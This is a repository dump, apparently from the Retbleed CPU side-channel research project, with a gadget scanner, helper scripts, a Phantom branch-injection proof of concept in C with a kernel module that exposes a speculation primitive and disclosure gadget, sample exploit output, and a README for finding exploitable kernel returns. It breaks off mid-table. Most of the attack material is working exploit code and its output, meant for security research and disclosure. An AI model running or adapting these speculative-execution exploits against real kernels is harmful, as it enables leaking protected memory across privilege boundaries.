3 | { 4 | asm volatile("mov 0x20(%r13), %r14"); 5 | asm volatile("mov 0x28(%r13), %r15"); 6 | asm volatile("mov (%r15), %ax"); 7 | asm volatile("add %r14, %rax"); 8 | asm volatile("mov %r14, (%rax)"); 9 | return 0; 10 | } 11 | -------------------------------------------------------------------------------- /gadget_scanner/testcases/should_pass/simple03.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0-only 2 | int main(int argc, char *argv[]) 3 | { 4 | asm volatile("mov 0x20(%r13), %r14"); 5 | asm volatile("mov 0x28(%r13), %r15"); 6 | asm volatile("mov (%r15), %ax"); 7 | asm volatile("add %rax, %rbx"); 8 | asm volatile("mov %rax, (%r14, %rbx)"); 9 | return 0; 10 | } 11 | -------------------------------------------------------------------------------- /gadget_scanner/vmlinux: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/comsec-group/retbleed/7786b04e36164d1f5ab841aca8ee665f68d0ab16/gadget_scanner/vmlinux -------------------------------------------------------------------------------- /misc/mem_pressure.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0-only 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | char mem_info[0x800]; 11 | #define PROT_RW (PROT_READ | PROT_WRITE) 12 | #define MMAP_FLAGS (MAP_ANONYMOUS | MAP_PRIVATE | MAP_POPULATE | MAP_FIXED_NOREPLACE) 13 | 14 | unsigned long get_anon_huge(int fd) { 15 | pread(fd, mem_info, sizeof(mem_info), 0); 16 | return atoi(&strstr(mem_info, "AnonHugePages:")[sizeof("AnonHugePages: ")]); 17 | } 18 | 19 | unsigned long get_free_mem_kb(int fd) { 20 | pread(fd, mem_info, sizeof(mem_info), 0); 21 | return atoi(&strstr(mem_info, "MemFree:")[sizeof("MemFree: ")]); 22 | } 23 | 24 | unsigned long get_free_swap_kb(int fd) { 25 | pread(fd, mem_info, sizeof(mem_info), 0); 26 | return atoi(&strstr(mem_info, "SwapFree:")[sizeof("SwapFree: ")]); 27 | } 28 | 29 | unsigned long get_avail_kb(int fd) { 30 | pread(fd, mem_info, sizeof(mem_info), 0); 31 | return atoi(&strstr(mem_info,"MemAvailable:")[sizeof("MemAvailable: ")]); 32 | } 33 | 34 | 35 | #define map_or_die(...) do {\ 36 | if (mmap(__VA_ARGS__) == MAP_FAILED) err(1, "mmap");\ 37 | } while(0) 38 | 39 | #define ROUND_UP_GB(x) (((((x)-1) >> 30) + 1) << 30) 40 | #define ROUND_DN_GB(x) (((x) >> 30) << 30) 41 | 42 | int main(int argc, char *argv[]) 43 | { 44 | setbuf(stdout, NULL); 45 | char *giga_range =(void *)0x44000000000UL; 46 | char *mega_range =(void *)0x20000000000UL; 47 | 48 | int pm_fd = open("/proc/self/pagemap", O_RDONLY); 49 | int mi_fd = open("/proc/meminfo", O_RDONLY); 50 | 51 | unsigned long freemem_kb = get_free_mem_kb(mi_fd); 52 | unsigned long SZ = freemem_kb << 10; 53 | 54 | map_or_die( 55 | giga_range, 56 | SZ, 57 | PROT_RW, 58 | (MAP_NORESERVE|MMAP_FLAGS)&~MAP_POPULATE, -1, 0); 59 | 60 | madvise(giga_range, SZ, MADV_HUGEPAGE); 61 | printf("Allocate %lu GB...\n", SZ>>30); 62 | for (unsigned long a = 0; a < SZ; a += 1<<21) { 63 | *(unsigned long *)&giga_range[a] = rand(); 64 | } 65 | printf("%ld MiB remains. Fill with small pages\n", get_free_mem_kb(mi_fd)>>10); 66 | map_or_die(mega_range, SZ, PROT_RW, (MAP_NORESERVE|MMAP_FLAGS)&~MAP_POPULATE, -1, 0); 67 | long a; 68 | for (a = 0; a < SZ; a += 0x1000) { 69 | mega_range[a] = a; 70 | } 71 | return 0; 72 | } 73 | -------------------------------------------------------------------------------- /misc/run_parallel.sh: -------------------------------------------------------------------------------- 1 | # SPDX-License-Identifier: GPL-3.0-only 2 | #!/bin/bash 3 | CORES=( $(grep core\ id /proc/cpuinfo | sort | uniq | cut -d: -f2 | bc) ) 4 | 5 | for C in ${CORES[@]:1}; do 6 | tmux split-window "time ./do_retbleed.sh $1 $C && read" 7 | tmux select-layout tiled 8 | done 9 | 10 | time ./do_retbleed.sh $1 ${CORES[0]} 11 | read A 12 | -------------------------------------------------------------------------------- /misc/show_config.sh: -------------------------------------------------------------------------------- 1 | # SPDX-License-Identifier: GPL-3.0-only 2 | #!/bin/bash 3 | set -x 4 | grep -m1 model\ name /proc/cpuinfo 5 | grep -m1 microcode /proc/cpuinfo 6 | lsb_release -a 7 | uname -r 8 | free -h 9 | cat /proc/sys/vm/nr_hugepages 10 | cat /sys/kernel/mm/transparent_hugepage/enabled 11 | cat /sys/devices/system/cpu/vulnerabilities/spectre_v2 12 | -------------------------------------------------------------------------------- /phantom_poc/Makefile: -------------------------------------------------------------------------------- 1 | # SPDX-License-Identifier: GPL-3.0-only 2 | CC = clang 3 | CFLAGS = -O3 4 | 5 | all: cp_bti 6 | 7 | cp_bti: ./cp_bti.c ./common.h 8 | $(CC) $(CFLAGS) -o $@ $< 9 | 10 | clean: 11 | rm -f cp_bti 12 | -------------------------------------------------------------------------------- /phantom_poc/README.md: -------------------------------------------------------------------------------- 1 | # Phantom Poc (AMD 17h) 2 | 3 | - `./cp_bti`. Shows cross privilege boundary training possible by attacking the 4 | kernel module at `./kmod_retbleed_poc/`. 5 | 6 | ### Usage 7 | 8 | ```bash 9 | make -C ./kmod_retbleed_poc install 10 | sudo dmesg -t | tail -n4 11 | # physmap_base ffff8c4a80000000 12 | # kbr_src ffffffffc167c827 <- This is where we will inject phantom branch 13 | # kbr_dst ffffffffc167c000 14 | # ret is at ffffffffc167c847 <- This is where the actual ret is. 15 | 16 | make cp_bti 17 | echo 1 | sudo tee /proc/sys/vm/nr_hugepages 18 | 19 | sudo ./cp_bti 20 | # rb.pa 27e800000 21 | # rb.kva ffff8c4cfe800000 22 | # kbr_src ffffffffc167c827 23 | # kbr_dst ffffffffc167c000 24 | # last_tgt ffffffffc167c800 25 | # [.] bits_flipped; rb_entry; training_branch; signal 26 | # [-] nbits=1 27 | # [+] 100000000000000000000000100000000000000000000000; 06; 0x7fffc1e7c826; 0.90 28 | # [+] 100000000000100000000000000000000000000000000000; 06; 0x7ff7c167c826; 0.70 29 | # [-] nbits=2 30 | # [-] nbits=3 31 | # [+] 100000000000000000100000100000100000000000000000; 06; 0x7fffe1e5c826; 0.95 32 | # [+] 100000000000000001000000100001000000000000000000; 06; 0x7fff81e3c826; 0.95 33 | # [+] 100000000000000010000000100010000000000000000000; 06; 0x7fff41efc826; 0.95 34 | # [+] 100000000000000100000000100100000000000000000000; 06; 0x7ffec1f7c826; 0.95 35 | # [+] 100000000000001000000000101000000000000000000000; 06; 0x7ffdc1c7c826; 0.95 36 | # [+] 100000000000010000000000110000000000000000000000; 06; 0x7ffbc1a7c826; 0.90 37 | # [+] 100000000000100000100000000000100000000000000000; 06; 0x7ff7e165c826; 0.95 38 | # [+] 100000000000100001000000000001000000000000000000; 06; 0x7ff78163c826; 0.50 39 | # [+] 100000000000100010000000000010000000000000000000; 06; 0x7ff7416fc826; 0.90 40 | # [+] 100000000000100100000000000100000000000000000000; 06; 0x7ff6c177c826; 0.95 41 | # [+] 100000000000101000000000001000000000000000000000; 06; 0x7ff5c147c826; 0.90 42 | # [+] 100000000000110000000000010000000000000000000000; 06; 0x7ff3c127c826; 0.95 43 | # ... 44 | ``` 45 | 46 | ### Confirm that it is Phantom and not Retbleed. 47 | 48 | Looking at `./kmod_retbleed_poc/retbleed_poc.c`. 49 | 50 | As seen in `disclosure_gadget`, the value of `rdi` is leaked, which is set by 51 | `#define SECRET 6`. 52 | 53 | As seen in `speculation_primitive`, right before the `ret`, `rdi` is set to 54 | `14`. Hence, if we would be mispredicting the `ret`, we would be leaking `14`. 55 | 56 | 57 | Printed by `sudo ./cp_bti` we're targeting `kbr_src fff...827`. This is a nop: 58 | ```bash 59 | objdump --disassemble=speculation_primitive ./kmod_retbleed_poc/retbleed_poc.ko 60 | ``` 61 | 62 | The conclusion is that we're seeing phantom branches, i.e., branches on 63 | instructions where this is no branch. 64 | -------------------------------------------------------------------------------- /phantom_poc/common.h: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0-only 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #define MMAP_FLAGS (MAP_ANONYMOUS | MAP_PRIVATE | MAP_POPULATE | MAP_FIXED_NOREPLACE) 10 | #define PROT_RW (PROT_READ | PROT_WRITE) 11 | #define PROT_RWX (PROT_RW | PROT_EXEC) 12 | 13 | #define PG_ROUND(n) (((((n)-1UL)>>12)+1)<<12) 14 | 15 | #define str(s) #s 16 | #define xstr(s) str(s) 17 | 18 | #define NOP asm volatile("nop") 19 | #define NOPS_str(n) ".rept " xstr(n) "\n\t"\ 20 | "nop\n\t"\ 21 | ".endr\n\t" 22 | 23 | typedef unsigned long u64; 24 | typedef unsigned char u8; 25 | 26 | // start measure. 27 | static inline __attribute__((always_inline)) u64 rdtsc(void) { 28 | u64 lo, hi; 29 | asm volatile ("CPUID\n\t" 30 | "RDTSC\n\t" 31 | "movq %%rdx, %0\n\t" 32 | "movq %%rax, %1\n\t" : "=r" (hi), "=r" (lo):: 33 | "%rax", "%rbx", "%rcx", "%rdx"); 34 | return (hi << 32) | lo; 35 | } 36 | 37 | // stop meassure. 38 | static inline __attribute__((always_inline)) u64 rdtscp(void) { 39 | u64 lo, hi; 40 | asm volatile("RDTSCP\n\t" 41 | "movq %%rdx, %0\n\t" 42 | "movq %%rax, %1\n\t" 43 | "CPUID\n\t": "=r" (hi), "=r" (lo):: "%rax", 44 | "%rbx", "%rcx", "%rdx"); 45 | return (hi << 32) | lo; 46 | } 47 | 48 | static inline __attribute__((always_inline)) void reload_range(long base, long stride, int n, u64 *results) { 49 | __asm__ volatile("mfence\n"); // all memory operations done. 50 | for (u64 k = 0; k < n; ++k) { 51 | u64 c = (k*7+15)&(n-1); // c=1,0,3,2 works for 16 entries Intel only 52 | // u64 c = (k*17+64)&(n-1); // c=1,0,3,2 53 | unsigned volatile char *p = (u8 *)base + (stride * c); 54 | u64 t0 = rdtsc(); 55 | *(volatile unsigned char *)p; 56 | u64 dt = rdtscp() - t0; 57 | if (dt < 130) results[c]++; 58 | } 59 | } 60 | 61 | static inline __attribute__((always_inline)) void flush_range(long start, long stride, int n) { 62 | asm("mfence"); 63 | for (u64 k = 0; k < n; ++k) { 64 | volatile void *p = (u8 *)start + k * stride; 65 | __asm__ volatile("clflushopt (%0)\n"::"r"(p)); 66 | __asm__ volatile("clflushopt (%0)\n"::"r"(p)); 67 | } 68 | asm("lfence"); 69 | } 70 | 71 | // probably not what you want for arrays. its for immediate numbers of arbitrary 72 | // length. 73 | static inline void mem2bin(char *dst, unsigned char *in, int l) { 74 | for (int i = 0; i < l; ++i) { 75 | dst[(l-1)-i] = (in[i>>3] >> (i&0x7) & 1) + '0'; 76 | } 77 | } 78 | 79 | static inline void short2bin(char *dst, u64 in) { 80 | mem2bin(dst, (unsigned char*)&in, 16); 81 | } 82 | 83 | static inline void long2bin(char *dst, u64 in) { 84 | mem2bin(dst, (unsigned char *)&in, 64); 85 | } 86 | 87 | 88 | static u64 get_next_slow(u64 cur, int nbits) { 89 | while (__builtin_popcountll(++cur) != nbits) 90 | ; 91 | return cur; 92 | } 93 | 94 | static u64 get_next_fast(u64 cur) { 95 | int nbits = __builtin_popcountll(cur); 96 | int rbits = 0; 97 | for (int bi = 0; bi < 64; ++bi) { 98 | u64 tup = (cur>>bi)&0x3; 99 | if (tup == 0x3) { 100 | rbits ++; 101 | } else if (tup == 0x1) { 102 | // swap 0b01 -> 0b10 103 | cur ^= 0x3UL< 4 | #include 5 | #include 6 | #include "./kmod_retbleed_poc/retbleed_poc_ioctl.h" 7 | #include 8 | #include 9 | #include 10 | 11 | // how many rounds to try mispredict? Many rounds often breaks things. Probably 12 | // there's some usefulness bits that downvotes a bad prediction. 13 | #define ROUNDS 20 14 | 15 | // RB, reload buffer 16 | #define RB_PTR 0x13300000000 17 | #define RB_STRIDE_BITS 12 18 | #define RB_SLOTS 0x10 19 | 20 | // this is the slot of the reload buffer we will light up when we have 21 | // misprediction. 22 | #define SECRET 6 23 | 24 | // try all user-space patterns 25 | #define MAX_BIT 47 26 | 27 | // flip at most this many bits in the victim src address. 28 | #define MAX_MUTATIONS 4 29 | 30 | // skip flipping bits in the lower part of training src, we can often assume that 31 | // they have to match with the lower bits 32 | #define SKIP_LOWER_BITS 6 33 | 34 | #define PG_ROUND(n) (((((n)-1UL)>>12)+1)<<12) 35 | 36 | __attribute__((aligned(4096))) static u64 results[RB_SLOTS] = {0}; 37 | 38 | struct mem_info { 39 | union { 40 | u64 va; 41 | u8* buf; 42 | }; 43 | u64 kva; 44 | u64 pa; 45 | }; 46 | 47 | static long va_to_phys(int fd, long va) 48 | { 49 | unsigned long pa_with_flags; 50 | 51 | lseek(fd, ((long) va)>>9, SEEK_SET); 52 | read(fd, &pa_with_flags, 8); 53 | // printf("phys %p\n", (void*)pa_with_flags); 54 | return pa_with_flags<<12 | (va & 0xfff); 55 | } 56 | 57 | // flip to 1 when we SHOULD segfault and not crash the program 58 | static int should_segfault = 0; 59 | 60 | static sigjmp_buf env; 61 | static void handle_segv(int sig, siginfo_t *si, void *unused) 62 | { 63 | if (should_segfault) { 64 | siglongjmp(env, 12); 65 | return; 66 | }; 67 | 68 | fprintf(stderr, "Not handling SIGSEGV\n"); 69 | exit(sig); 70 | } 71 | 72 | int main(int argc, char *argv[]) 73 | { 74 | struct mem_info rb; 75 | struct synth_gadget_desc sgd; 76 | rb.va = RB_PTR; 77 | 78 | struct sigaction sa; 79 | sa.sa_flags = SA_SIGINFO; 80 | sigemptyset(&sa.sa_mask); 81 | sa.sa_sigaction = &handle_segv; 82 | sigaction (SIGSEGV, &sa, NULL); 83 | 84 | #define MAX(a,b) ((a) > (b)) ? a : b 85 | #define RB_SZ MAX(RB_SLOTS< 1) { 171 | char binstr[64+1] = {0}; //0,1 or null 172 | mem2bin(binstr, (unsigned char*)&ptrn_shl, 48); 173 | printf("[+] %s; %02d; 0x%012lx; %0.2f", binstr, 174 | i, (u64)(br_src_training+br_src_training_sz-1), 175 | results[i]/(ROUNDS+.0)); 176 | printf("\n"); 177 | } 178 | } 179 | memset(results, 0, RB_SLOTS*sizeof(results[0])); 180 | munmap((void*)(br_src_training&~0xfffUL), PG_ROUND(br_src_training_sz)); 181 | } 182 | } 183 | return 0; 184 | } 185 | -------------------------------------------------------------------------------- /phantom_poc/kmod_retbleed_poc/Makefile: -------------------------------------------------------------------------------- 1 | # SPDX-License-Identifier: GPL-3.0-only 2 | CC=gcc 3 | mod-name := retbleed_poc 4 | obj-m += $(mod-name).o 5 | ccflags-y := \ 6 | -O1 \ 7 | -DDEBUG \ 8 | -std=gnu99 \ 9 | -Werror \ 10 | $(CCFLAGS) 11 | PWD=$(shell pwd) 12 | 13 | all: 14 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 15 | 16 | clean: 17 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 18 | 19 | .PHONY: 20 | install: all 21 | sudo insmod $(mod-name).ko 22 | 23 | .PHONY: 24 | remove: 25 | sudo rmmod $(mod-name).ko 26 | -------------------------------------------------------------------------------- /phantom_poc/kmod_retbleed_poc/retbleed_poc.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0-only 2 | #include 3 | #include "linux/sysctl.h" 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include /* virt_to_phys */ 11 | #include /* copy_from_user, copy_to_user */ 12 | #include "./retbleed_poc_ioctl.h" 13 | 14 | static struct proc_dir_entry *procfs_file; 15 | 16 | /** 17 | * The most trivial kind of disclosure gadget. shifts secret and it uses as 18 | * index in reload buffer. 19 | * Note: THIS FUNCTION IS NEVER ARCHITECTURALLY CALLED. Only speculatively. 20 | */ 21 | void disclosure_gadget(u64 secret, u8 *reload_buffer); 22 | asm( 23 | ".align 0x800\n\t" 24 | "disclosure_gadget:\n\t" 25 | "shl $12, %rdi\n\t" 26 | "movq $2, (%rdi, %rsi)\n\t" 27 | "lfence\n\t"); 28 | 29 | 30 | static struct synth_gadget_desc desc = {}; 31 | 32 | void speculation_primitive_ret(void); 33 | void speculation_primitive(unsigned long secret, unsigned long addr); 34 | asm( 35 | ".align 0x800\n\t" 36 | "speculation_primitive: \n\t" 37 | // If we mispredict from within this nop-sled, we will leak the value in 'secret' 38 | ".rept 64 \n\t" 39 | "nop \n\t" 40 | ".endr \n\t" 41 | // If we mispredict from here on, we are going to leak '14' 42 | "mov $14, %rdi \n\t" 43 | "speculation_primitive_ret: ret\n\t" 44 | ); 45 | 46 | void reload(void); 47 | static long handle_ioctl(struct file *filp, unsigned int request, unsigned long argp) { 48 | struct payload p; 49 | if (request == REQ_GADGET) { 50 | asm volatile("lfence"); 51 | if (copy_to_user((void *)argp, &desc, sizeof(struct synth_gadget_desc)) != 0) { 52 | return -EFAULT; 53 | } 54 | } 55 | if (request == REQ_SPECULATE) { 56 | asm volatile("lfence"); 57 | if (copy_from_user(&p, (void *)argp, sizeof(struct payload)) != 0) { 58 | return -EFAULT; 59 | } 60 | speculation_primitive(p.secret, p.reload_buffer); 61 | } 62 | return 0; 63 | } 64 | 65 | 66 | static struct proc_ops pops = { 67 | .proc_ioctl = handle_ioctl, 68 | .proc_open = nonseekable_open, 69 | .proc_lseek = no_llseek, 70 | }; 71 | 72 | static void mod_spectre_exit(void) { 73 | proc_remove(procfs_file); 74 | } 75 | 76 | static int mod_spectre_init(void) { 77 | desc.physmap_base = page_offset_base; 78 | desc.kbr_dst = ((u64)&disclosure_gadget); 79 | // last target before the ret. 80 | desc.last_tgt = (u64)&speculation_primitive; 81 | 82 | // we will target an instruction that is one FetchPC before the ret. 83 | desc.kbr_src = (u64)&speculation_primitive_ret - 0x20; 84 | 85 | pr_info("physmap_base %lx\n", page_offset_base); 86 | pr_info("kbr_src %lx\n", desc.kbr_src); 87 | pr_info("kbr_dst %lx\n", desc.kbr_dst); 88 | pr_info("ret is at %llx\n", (u64)&speculation_primitive_ret); 89 | 90 | procfs_file = proc_create(PROC_RETBLEED_POC, 0, NULL, &pops); 91 | return 0; 92 | } 93 | 94 | module_init(mod_spectre_init); 95 | module_exit(mod_spectre_exit); 96 | 97 | MODULE_LICENSE("GPL"); 98 | -------------------------------------------------------------------------------- /phantom_poc/kmod_retbleed_poc/retbleed_poc_ioctl.h: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0-only 2 | #define PROC_RETBLEED_POC "retbleed_poc" 3 | 4 | #define REQ_GADGET 222 5 | #define REQ_SPECULATE 111 6 | 7 | struct synth_gadget_desc { 8 | unsigned long physmap_base; 9 | unsigned long kbr_dst; 10 | unsigned long kbr_src; 11 | unsigned long last_tgt; 12 | unsigned long secret; 13 | }; 14 | 15 | struct payload { 16 | unsigned long reload_buffer; 17 | unsigned long secret; 18 | }; 19 | -------------------------------------------------------------------------------- /ret_finder/README.md: -------------------------------------------------------------------------------- 1 | RET finder framework 2 | --------- 3 | *Find bleedable RETs in the kernel.* 4 | 5 | We assume that you are running the kernel that you wish to exploit on a system 6 | that is fairly similar to the targeted one. We provide example outputs in 7 | `./output.tar.gz` if you do not want to run the entire suite. Note that we 8 | excluded some particularily large raw outputs. 9 | 10 | ### Linux test project 11 | To reproduce our results, build and install `./ltp`. 12 | 13 | 14 | ### `./process_binary.sh` 15 | `./process_binary.sh` runs the whole toolchain on a single binary, which is 16 | useful to verify that the toolchain works. For example, `sudo ./process_binary.sh 17 | /opt/ltp/testcases/bin/recvmsg02` should produce three txt files under 18 | `./output/` 19 | 20 | Running over the entire ltp syscall testsuite takes unnecessarily long this way, 21 | beacuse it will not parallelize. Instead, run `funcgrap` over each ltp test and 22 | analyze the logs in parallell, which we will discuss next. 23 | 24 | ### `funcgrap/` Collecting function graphs. 25 | Long-running binaries risk consuming the entire perf buffer, which results in 26 | data loss. This happens with ltp, because it includes some stress tests. To 27 | prevent this, make the perf buffer large and/or exclude for example 28 | `msgstress0{1..4}`. 29 | 30 | ```bash 31 | # gives almost 10GiB to perf. 5 GiB may work too. 32 | echo 10000000 | sudo tee /sys/kernel/debug/tracing/per_cpu/cpu3/buffer_size_kb 33 | ``` 34 | 35 | Note that by default, `funcgrap` pins the tested binary to CPU thread 3. 36 | 37 | To run the entire ltp syscall suite, use `./funcgrap/run_full_suite.sh 38 | `. To run all tests and place each result in ``. If 39 | you installed ltp with a `DESTDIR` that is different from the default, configre 40 | `LTP_ROOT` in `./funcgrap/run_full_suite.sh` accordingly. 41 | 42 | ### `tools/trace_underfill.py` Discover deep call stacks 43 | Find vulnerable returns on Intel (all returns are vulnerable on AMD). Reads 44 | trace output, provided by `funcgraph`, from stdin and writes a 45 | semicolon-seperated list of locations where vulnerable returns occured to 46 | stdout. For example: `./tools/trace_underfill.py < 47 | ./output/raw/recvmsg02__raw.txt`. The columnns are, for example. 48 | 49 | | syscall | Nth invocation of ditto | Vuln. func. | Nth call to vuln. func. in syscall | Raw input line# | 50 | |-----------------|-:|-------------|-:|--:| 51 | | `__x64_sys_execve`|1|`vfs_open` |1 |791 | 52 | | `__x64_sys_execve`|1|`do_open.isra.0`|1 |800 | 53 | | `__x64_sys_execve`|1|`path_openat` |1 |807 | 54 | 55 | More example outputs are found under `./output/btb`. These locations have 56 | vulnerable returns, in the sense that we can control the return target. But, to 57 | leak arbitrary memory, we need control over the registers or memory that they 58 | reference. 59 | 60 | ### `ebpf/my_bpf.py` Detect controllable input 61 | 62 | This is a poorly named bcc/ebpf program. It takes the testcase binary and 63 | the semicolon-separated list of its vulnerable returns. Examples of such lists 64 | are found under `./output/btb`. Run `./my_bpf.py -h` for details. We try as 65 | much as we can to exclude system call with input parameters that are cumbersome 66 | or difficult to control (for example flags, file descriptors). It produces 67 | output such as shown in `output/`. 68 | 69 | ### Parsing the output 70 | 71 | The following shows a list of the number of 64-bit wide memory chunks that we 72 | control upon a vulnerable return. For example, `5 udp_v6_send_skb.isra.0` 73 | means we control five 64-bit memory chunks in `udp_v6_send_skb.isra.0` that are 74 | pointed to, within a range of 96 bytes, by some register. 75 | 76 | ```bash 77 | # 1 or more 64-bit chunks of memory 78 | grep -E ';.+\+0x.+;0x.{16,}$' output/*.txt | awk -F';' '{print $4 ";" $3}' | sort | uniq | cut -d ';' -f 1 | uniq -c | sort -n 79 | 80 | # 1 or more 64-bit registers 81 | grep -E ';[^+]+;0x.{16,}$' output/*.txt | awk -F';' '{print $4 ";" $3}' | sort | uniq | cut -d ';' -f 1 | uniq -c | sort -n 82 | 83 | # 1 or more 47-bit registers 84 | grep -E ';[^+]+;0x.{12,}$' output/*.txt | awk -F';' '{print $4 ";" $3}' | sort | uniq | cut -d ';' -f 1 | uniq -c | sort -n 85 | 86 | # vuln. syscalls 87 | cat output/btb/*.txt | cut -d';' -f1 | sort | uniq | wc -l 88 | 89 | # vuln. rets 90 | cat output/btb/*.txt | cut -d';' -f3 | sort | uniq | wc -l 91 | 92 | # total tests (-459 that need root) 93 | grep . /opt/ltp/runtest/syscalls | grep -v '#' | less 94 | ``` 95 | 96 | -------------------------------------------------------------------------------- /ret_finder/ebpf/sc_nargs.py: -------------------------------------------------------------------------------- 1 | # SPDX-License-Identifier: GPL-3.0-only 2 | import sys 3 | 4 | SC_NARGS = { 5 | "read": 3, 6 | "write": 3, 7 | "open": 3, 8 | "close": 1, 9 | "stat": 2, 10 | "fstat": 2, 11 | "lstat": 2, 12 | "poll": 3, 13 | "lseek": 3, 14 | "mmap": 6, 15 | "mprotect": 3, 16 | "munmap": 2, 17 | "brk": 1, 18 | "rt_sigaction": 4, 19 | "rt_sigprocmask": 4, 20 | "rt_sigreturn": 0, 21 | "ioctl": 3, 22 | "pread64": 4, 23 | "pwrite64": 4, 24 | "readv": 3, 25 | "writev": 3, 26 | "access": 2, 27 | "pipe": 1, 28 | "select": 5, 29 | "sched_yield": 0, 30 | "mremap": 5, 31 | "msync": 3, 32 | "mincore": 3, 33 | "madvise": 3, 34 | "shmget": 3, 35 | "shmat": 3, 36 | "shmctl": 3, 37 | "dup": 1, 38 | "dup2": 2, 39 | "pause": 0, 40 | "nanosleep": 2, 41 | "getitimer": 2, 42 | "alarm": 1, 43 | "setitimer": 3, 44 | "getpid": 0, 45 | "sendfile": 4, 46 | "socket": 3, 47 | "connect": 3, 48 | "accept": 3, 49 | "sendto": 6, 50 | "recvfrom": 6, 51 | "sendmsg": 3, 52 | "recvmsg": 3, 53 | "shutdown": 2, 54 | "bind": 3, 55 | "listen": 2, 56 | "getsockname": 3, 57 | "getpeername": 3, 58 | "socketpair": 4, 59 | "setsockopt": 5, 60 | "getsockopt": 5, 61 | "clone": 5, 62 | "clone3": 2, 63 | "fork": 0, 64 | "vfork": 0, 65 | "execve": 3, 66 | "exit": 1, 67 | "wait4": 4, 68 | "kill": 2, 69 | "uname": 1, 70 | "semget": 3, 71 | "semop": 3, 72 | "semctl": 4, 73 | "shmdt": 1, 74 | "msgget": 2, 75 | "msgsnd": 4, 76 | "msgrcv": 5, 77 | "msgctl": 3, 78 | "fcntl": 3, 79 | "flock": 2, 80 | "fsync": 1, 81 | "fdatasync": 1, 82 | "truncate": 2, 83 | "ftruncate": 2, 84 | "getdents": 3, 85 | "getcwd": 2, 86 | "chdir": 1, 87 | "fchdir": 1, 88 | "rename": 2, 89 | "mkdir": 2, 90 | "rmdir": 1, 91 | "creat": 2, 92 | "link": 2, 93 | "unlink": 1, 94 | "symlink": 2, 95 | "readlink": 3, 96 | "chmod": 2, 97 | "fchmod": 2, 98 | "chown": 3, 99 | "fchown": 3, 100 | "lchown": 3, 101 | "umask": 1, 102 | "gettimeofday": 2, 103 | "getrlimit": 2, 104 | "getrusage": 2, 105 | "sysinfo": 1, 106 | "times": 1, 107 | "ptrace": 4, 108 | "getuid": 0, 109 | "syslog": 3, 110 | "getgid": 0, 111 | "setuid": 1, 112 | "setgid": 1, 113 | "geteuid": 0, 114 | "getegid": 0, 115 | "setpgid": 2, 116 | "getppid": 0, 117 | "getpgrp": 0, 118 | "setsid": 0, 119 | "setreuid": 2, 120 | "setregid": 2, 121 | "getgroups": 2, 122 | "setgroups": 2, 123 | "setresuid": 3, 124 | "getresuid": 3, 125 | "setresgid": 3, 126 | "getresgid": 3, 127 | "getpgid": 1, 128 | "setfsuid": 1, 129 | "setfsgid": 1, 130 | "getsid": 1, 131 | "capget": 2, 132 | "capset": 2, 133 | "rt_sigpending": 2, 134 | "rt_sigtimedwait": 4, 135 | "rt_sigqueueinfo": 3, 136 | "rt_sigsuspend": 2, 137 | "sigaltstack": 2, 138 | "utime": 2, 139 | "mknod": 3, 140 | "uselib": 1, 141 | "personality": 1, 142 | "ustat": 2, 143 | "statfs": 2, 144 | "fstatfs": 2, 145 | "sysfs": 3, 146 | "getpriority": 2, 147 | "setpriority": 3, 148 | "sched_setparam": 2, 149 | "sched_getparam": 2, 150 | "sched_setscheduler": 3, 151 | "sched_getscheduler": 1, 152 | "sched_get_priority_max": 1, 153 | "sched_get_priority_min": 1, 154 | "sched_rr_get_interval": 2, 155 | "mlock": 2, 156 | "munlock": 2, 157 | "mlockall": 1, 158 | "munlockall": 0, 159 | "vhangup": 0, 160 | "modify_ldt": 3, 161 | "pivot_root": 2, 162 | "_sysctl": 1, 163 | "prctl": 5, 164 | "arch_prctl": 2, 165 | "adjtimex": 1, 166 | "setrlimit": 2, 167 | "chroot": 1, 168 | "sync": 0, 169 | "acct": 1, 170 | "settimeofday": 2, 171 | "mount": 5, 172 | "umount2": 2, 173 | "swapon": 2, 174 | "swapoff": 1, 175 | "reboot": 4, 176 | "sethostname": 2, 177 | "setdomainname": 2, 178 | "iopl": 1, 179 | "ioperm": 3, 180 | "create_module": 2, 181 | "init_module": 3, 182 | "delete_module": 2, 183 | "get_kernel_syms": 1, 184 | "query_module": 5, 185 | "quotactl": 4, 186 | "nfsservctl": 3, 187 | "getpmsg": 5, 188 | "putpmsg": 5, 189 | "afs_syscall": 5, 190 | "tuxcall": 3, 191 | "security": 3, 192 | "gettid": 0, 193 | "readahead": 3, 194 | "setxattr": 5, 195 | "lsetxattr": 5, 196 | "fsetxattr": 5, 197 | "getxattr": 4, 198 | "lgetxattr": 4, 199 | "fgetxattr": 4, 200 | "listxattr": 3, 201 | "llistxattr": 3, 202 | "flistxattr": 3, 203 | "removexattr": 2, 204 | "lremovexattr": 2, 205 | "fremovexattr": 2, 206 | "tkill": 2, 207 | "time": 1, 208 | "futex": 6, 209 | "sched_setaffinity": 3, 210 | "sched_getaffinity": 3, 211 | "set_thread_area": 1, 212 | "io_setup": 2, 213 | "io_destroy": 1, 214 | "io_getevents": 5, 215 | "io_submit": 3, 216 | "io_cancel": 3, 217 | "get_thread_area": 1, 218 | "lookup_dcookie": 3, 219 | "epoll_create": 1, 220 | "epoll_ctl_old": 4, 221 | "epoll_wait_old": 4, 222 | "remap_file_pages": 5, 223 | "getdents64": 3, 224 | "set_tid_address": 1, 225 | "restart_syscall": 0, 226 | "semtimedop": 4, 227 | "fadvise64": 4, 228 | "timer_create": 3, 229 | "timer_settime": 4, 230 | "timer_gettime": 2, 231 | "timer_getoverrun": 1, 232 | "timer_delete": 1, 233 | "clock_settime": 2, 234 | "clock_gettime": 2, 235 | "clock_getres": 2, 236 | "clock_nanosleep": 4, 237 | "exit_group": 1, 238 | "epoll_wait": 4, 239 | "epoll_ctl": 4, 240 | "tgkill": 3, 241 | "utimes": 2, 242 | "vserver": 5, 243 | "mbind": 6, 244 | "set_mempolicy": 3, 245 